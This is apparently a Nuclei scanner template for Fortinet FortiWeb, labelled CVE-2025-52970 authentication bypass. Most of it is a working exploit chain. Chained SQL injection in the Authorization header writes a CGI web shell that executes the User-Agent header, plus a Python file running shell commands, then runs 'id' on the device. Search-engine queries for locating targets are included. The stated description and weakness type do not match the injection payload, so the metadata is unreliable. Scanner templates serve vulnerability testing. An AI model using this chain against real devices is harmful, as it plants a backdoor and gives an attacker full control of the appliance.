id: CVE-2025-52970 info: name: Fortinet FortiWeb - Authentication Bypass to Admin Privilege author: Sourabh-Sahu severity: high description: | A improper handling of parameters in Fortinet FortiWeb versions 7.6.3 and below, versions 7.4.7 and below, versions 7.2.10 and below, and 7.0.10 and below may allow an unauthenticated remote attacker with non-public information pertaining to the device and targeted user to gain admin privileges on the device via a specially crafted request. impact: | Unauthenticated remote attackers can gain administrative privileges, leading to full control over the device. remediation: | Update to a version later than 7.6.3, 7.4.7, 7.2.10, or 7.0.10 or the latest available version. reference: - https://github.com/imbas007/POC-CVE-2025-52970/blob/main/README.md - https://github.com/34zY/CVE-2025-52970 - https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2025-52970 epss-score: 0.22775 epss-percentile: 0.95978 cwe-id: CWE-223 cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:* metadata: verified: true max-request: 26 vendor: Fortinet product: FortiWeb shodan-query: - http.title:"FortiWeb" - http.title:"Fortinet" fofa-query: app="Fortinet-FortiWeb" google-query: intitle:"FortiWeb" "login" tags: cve,cve2025fortinet,fortiweb,auth-bypass,priv-esc,vkev,intrusive variables: f_cgi: "{{rand_text_alpha(6)}}.cgi" tf_cgi: "{{rand_text_alpha(2)}}" flow: http(1) && http(2) http: - raw: - | GET /login HTTP/1.1 Host: {{Hostname}} redirects: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "name=\"secretkey")' condition: and internal: true - raw: - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x23212f62696e2f7368202d2d200d0a70)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x72696e74662022436f6e74656e742d54)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x7970653a20746578742f68746d6c5c72)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x5c6e223b7072696e746620225c725c6e)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x223b6576616c2024485454505f555345)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x525f4147454e54)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/migadmin/cgi-bin/{{f_cgi}}'/**/FIELDS/**/ESCAPED/**/BY/**/'';-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x696d706f7274206f732023200d0a6f73)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e73797374656d282763686d6f64202b)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x78202f6d696761646d696e2f6367692d)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x{{hex_encode(concat("bin/", f_cgi, " && rm "))}})/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x202d66202f7661722f6c6f672f6c6962)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2f707974686f6e332e31302f70796c6162)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e707927292023)/**/from/**/{{tf_cgi}});-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'';-- - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/' - | GET /cgi-bin/ml-draw.py HTTP/1.1 Host: {{Hostname}} - | GET /cgi-bin/{{f_cgi}} HTTP/1.1 Host: {{Hostname}} User-Agent: id matchers: - type: dsl dsl: - "status_code == 200" - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)" condition: and # digest: 4b0a00483046022100b97ab8ace398ea9fb99b216aa66311ace6fa2ec4ee2acb058fa0f60a31185222022100f6183902d9bdf704dd7374a3ca332e67cd303b409b9e3bd73369edd7f568dc19:922c64590222798bb761d5b6d8e72950